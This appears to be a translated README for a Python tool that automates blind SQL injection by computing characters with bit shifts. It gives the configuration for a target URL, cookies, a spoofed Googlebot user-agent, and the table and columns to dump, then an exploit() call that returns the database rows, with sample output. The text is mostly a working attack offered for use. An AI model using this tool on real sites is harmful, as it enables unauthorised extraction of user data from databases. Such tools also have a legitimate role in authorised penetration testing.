
Un módulo de inyección SQL ciega que utiliza desplazamiento de bits para calcular caracteres.
Este es un módulo que realiza inyección SQL ciega utilizando el método de desplazamiento de bits para calcular caracteres en lugar de adivinarlos. Requiere 7/8 solicitudes por carácter, dependiendo de la configuración.
import blind-sql-bitshifting as x
# Edit this dictionary to configure attack vectors
x.options
# Vulnerable link
x.options["target"] = "http://www.example.com/index.php?id=1"
# Specify cookie (optional)
x.options["cookies"] = ""
# Specify a condition for a specific row, e.g. 'uid=1' for admin (optional)
x.options["row_condition"] = ""
# Boolean option for following redirections
x.options["follow_redirections"] = 0
# Specify user-agent
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# Specify table to dump
x.options["table_name"] = "users"
# Specify columns to dump
x.options["columns"] = "id, username"
# String to check for on page after successful statement
x.options["truth_string"] = "<p id='success'>true</p>"
# See below
x.options["assume_only_ascii"] = 1
La opción assume_only_ascii hace que el módulo asuma que los caracteres que está volcando son todos ASCII. Dado que el conjunto de caracteres ASCII solo llega hasta 127, podemos establecer el primer bit en 0 y no preocuparnos por calcularlo. Esto supone una reducción del 12.5% en las solicitudes. Probado localmente, esto produjo un aumento de velocidad promedio del 15%. Por supuesto, esto puede causar problemas al volcar caracteres que están fuera del rango ASCII. Por defecto, está configurado en 0.
Una vez configurado:
data = x.exploit()
Esto devuelve un array bidimensional, donde cada sub-array contiene una fila, siendo la primera los encabezados de columna.
Ejemplo de salida:
[['id', 'username'], ['1', 'user1'], ['2', 'user2'], ['3', 'user3'], ['4', 'user4']]
Opcionalmente, tus scripts pueden aprovechar el módulo tabulate para mostrar los datos:
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # This specifies to use the first row as the column headers.
tablefmt='psql') # Using the SQL output format. Other formats can be used.
Esto mostraría:
+------+------------+
| id | username |
|------+------------|
| 1 | user1 |
| 2 | user2 |
| 3 | user3 |
| 4 | user4 |
+------+------------+